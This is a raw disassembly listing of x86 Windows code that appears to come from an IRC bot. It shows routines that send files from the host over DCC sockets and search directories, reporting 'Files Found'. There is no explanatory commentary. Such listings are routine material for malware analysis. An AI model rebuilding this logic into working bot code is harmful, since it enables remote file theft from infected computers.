; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		call	near ptr 29D03E9h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		nop
		call	near ptr 29D0000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60BD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A20
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 29C041Dh
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 29C0000h
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 29B0989h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 29B0229h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		call	near ptr 29B0229h
		nop


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443AF4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F64
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		call	sub_5EA1BD
		nop
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 29B0229h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
